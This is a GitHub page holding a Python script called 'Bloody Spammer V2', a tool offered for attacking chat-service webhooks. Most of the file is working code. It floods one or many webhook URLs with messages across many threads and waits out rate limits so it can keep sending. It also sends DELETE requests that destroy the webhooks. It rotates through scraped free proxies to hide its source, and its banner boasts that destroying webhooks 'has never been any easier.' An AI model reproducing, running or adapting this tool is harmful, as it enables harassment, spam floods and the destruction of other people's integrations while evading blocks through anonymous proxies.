-
Notifications
You must be signed in to change notification settings - Fork 1
/
Bloody Spammer V2.py
264 lines (221 loc) · 8.55 KB
/
Bloody Spammer V2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
import os
import ctypes
import requests
import time
import random
import json
import threading
from colorama import Fore, init
from datetime import datetime
from pystyle import *
skull = """
:::!~!!!!!:.
.xUHWH!! !!?M88WHX:.
.X*#M@$!! !X!M$$$$$$WWx:.
:!!!!!!?H! :!$!$$$$$$$$$$8X:
!!~ ~:~!! :~!$!#$$$$$$$$$$8X:
:!~::!H!< ~.U$X!?R$$$$$$$$MM!
~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM!
!:~~~ .:!M"T#$$$$WX??#MRRMMM!
~?WuxiW*` `"#$$$$8!!!!??!!!
:X- M$$$$ `"T#$T~!8$WUXU~
:%` ~#$$$m: ~!~ ?$$$$$$
:!`.- ~T$$$$8xx. .xWW- ~""##*"
..... -~~:<` ! ~?T#$$@@W@*?$$ /`
W$@@M!!! .!~~ !! .:XUW$W!~ `"~: :
#"~~`.:x%`!! !H: !WM$$$$Ti.: .!WUn+!`
:::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~
.~~ :X@!.-~ ?@WTWo("*$$$W$TH$! `
Wi.~!X$?!-~ : ?$$$B$Wu("**$RM!
$R@i.~~ ! : ~$$$$$B$$en:``
?MXT@Wx.~ : ~"##*$$$$M~"""[:-1]
skull_text = """
___ _ ____ ____ ___ _ _ ____ ___ ____ _ _ _ _ ____ ____
|__] | | | | | | \ \_/ [__ |__] |__| |\/| |\/| |___ |__/
|__] |___ |__| |__| |__/ | ___] | | | | | | | |___ | \
"""[1:]
skull = Add.Add(skull, skull_text, center=True)
Anime.Fade(Center.YCenter(skull), Colors.purple_to_blue, Colorate.Vertical, interval=0.025, time=3)
banner = """
██████╗ ███████╗ ██╗ ██╗██████╗ ██████╗
██╔══██╗ ██╔════╝ ██║ ██║╚════██╗ ██╔═████╗
██████╔╝ ███████╗ ██║ ██║ █████╔╝ ██║██╔██║
██╔══██╗ ╚════██║ ╚██╗ ██╔╝██╔═══╝ ████╔╝██║
██████╔╝██╗███████║ ╚████╔╝ ███████╗██╗╚██████╔╝
╚═════╝ ╚═╝╚══════╝ ╚═══╝ ╚══════╝╚═╝ ╚═════╝
Destroying webhooks has never been any easier.
"""
cringe = "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
now = datetime.now()
timenow = now.strftime("%H:%M:%S")
init(autoreset=True)
if os.name == "nt":
os.system("mode con: cols=138 lines=30")
locker = threading.Lock()
proxies_list = []
def title(text):
if os.name == "nt":
ctypes.windll.kernel32.SetConsoleTitleW(f"Bloody Spammer V2 | By Bloody | {text}")
else:
print(f"\33]0;Bloody Spammer V2 | By Bloody | {text}\a", end="", flush=True)
def logo():
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
print(Colorate.Horizontal(Colors.purple_to_blue, Center.Center(banner)))
Write.Print(f"{cringe}", Colors.rainbow, interval=0)
def proxies_scraper():
global proxies_list
while True:
response = requests.get("https://api.proxyscrape.com/v4/free-proxy-list/get?request=get_proxies&proxy_format=protocolipport&format=text")
proxies_list = response.text.splitlines()
# return proxies_scraper() -- You can use this if you want to, it just loop scrapes proxies.
def proxies_random():
proxy = random.choice(proxies_list)
proxies = {
"http": proxy,
"https": proxy
}
return proxies
def spammer(use_proxies, url, username, avatar_url, message):
while True:
try:
if use_proxies == "y":
proxy = proxies_random()
else:
proxy = {
"http": None,
"https": None
}
response = requests.post(url, json={"username": username, "avatar_url": avatar_url, "content": message}, proxies=proxy)
if response.status_code != 204:
if response.status_code == 404:
locker.acquire()
Write.Print(f"[{timenow}] | Bloody Spammer | [Invalid Webhook] {url.split('webhooks/')[1]}\n", Colors.red_to_yellow, interval=0)
locker.release()
break
elif response.status_code == 429:
time.sleep(float(json.loads(response.content)['retry_after'] / 1000))
else:
locker.acquire()
Write.Print(f"[{timenow}] | Bloody Spammer | [Unknown Error - {response.status_code}] {url.split('webhooks/')[1]}\n", Colors.red_to_yellow, interval=0)
locker.release()
else:
locker.acquire()
Write.Print(f"[{timenow}] | Bloody Spammer | [Success] {url.split('webhooks/')[1]}\n", Colors.green_to_blue, interval=0)
locker.release()
except:
pass
def deleter(use_proxies, url):
global success, errors
request_sent = False
while not request_sent:
try:
if use_proxies == "y":
proxy = proxies_random()
else:
proxy = {
"http": None,
"https": None
}
response = requests.delete(url, proxies=proxy, timeout=5)
request_sent = True
if response.status_code != 204:
errors += 1
if response.status_code == 404:
locker.acquire()
Write.Print(f"[{timenow}] | Bloody Spammer | [Invalid Webhook] {url.split('webhooks/')[1]}\n", Colors.red_to_yellow, interval=0)
locker.release()
else:
success += 1
locker.acquire()
Write.Print(f"[{timenow}] | Bloody Spammer | [Success] {url.split('webhooks/')[1]}\n", Colors.green_to_blue, interval=0)
locker.release()
if success + errors == total_url:
title("Deleting - Finished")
logo()
Write.Print(f"[{timenow}] | Bloody Spammer | {success} webhooks have been deleted with success.\n", Colors.green_to_blue, interval=0)
Write.Print(f"[{timenow}] | Bloody Spammer | {errors} webhooks encountered errors while deleting them.\n", Colors.red_to_yellow, interval=0)
time.sleep(5)
init()
except:
pass
def init():
global total_url, success, errors
title("Initialization")
logo()
print(f"{Fore.LIGHTMAGENTA_EX}Do you want to spam webhook? (y/n if you want to delete)")
spam_webhooks = input("\n~# ").lower()
logo()
print(f"{Fore.LIGHTMAGENTA_EX}Do you want to destroy multiple webhooks? (y/n)")
multiple_webhooks = input("\n~# ").lower()
if multiple_webhooks == "n":
logo()
print(f"{Fore.LIGHTMAGENTA_EX}Enter Webhook URL you want to destroy.")
url = input("\n~# ")
else:
logo()
print(f"{Fore.LIGHTMAGENTA_EX}Enter file name that contains webhooks. (with .txt)")
webhooks_file = input("\n~# ")
if spam_webhooks == "y":
logo()
print(f"{Fore.LIGHTMAGENTA_EX}Enter webhook's username.")
username = input("\n~# ")
logo()
print(f"{Fore.LIGHTMAGENTA_EX}Enter webhook's avatar URL. (Empty for no avatar)")
avatar_url = input("\n~# ")
logo()
print(f"{Fore.LIGHTMAGENTA_EX}Enter message you want to spam.")
message = input("\n~# ")
logo()
print(f"{Fore.LIGHTMAGENTA_EX}How many threads?")
try:
threads_count = int(input("\n~# "))
except:
logo()
print(f"{Fore.LIGHTRED_EX}[Error] Invalid threads count.")
time.sleep(5)
init()
logo()
print(f"{Fore.LIGHTMAGENTA_EX}Do you want to use proxies? (Recommanded, y/n)")
use_proxies = input("\n~# ").lower()
if spam_webhooks == "y":
title("Spamming")
logo()
if use_proxies == "y":
threading.Thread(target=proxies_scraper).start()
while len(proxies_list) == 0:
time.sleep(0.5)
if multiple_webhooks == "n":
for i in range(0, threads_count):
threading.Thread(target=spammer, args=(use_proxies, url, username, avatar_url, message)).start()
else:
with open(webhooks_file) as file:
for line in file:
for i in range(0, threads_count):
threading.Thread(target=spammer, args=(use_proxies, line.rstrip(), username, avatar_url, message)).start()
file.close()
else:
title("Deleting")
logo()
if use_proxies == "y":
threading.Thread(target=proxies_scraper).start()
while len(proxies_list) == 0:
time.sleep(0.5)
success = 0
errors = 0
if multiple_webhooks == "n":
total_url = 1
threading.Thread(target=deleter, args=(use_proxies, url,)).start()
else:
total_url = len(open(webhooks_file).readlines())
with open(webhooks_file) as file:
for line in file:
threading.Thread(target=deleter, args=(use_proxies, line.rstrip(),)).start()
file.close()
if __name__ == "__main__":
try:
init()
except KeyboardInterrupt:
exit()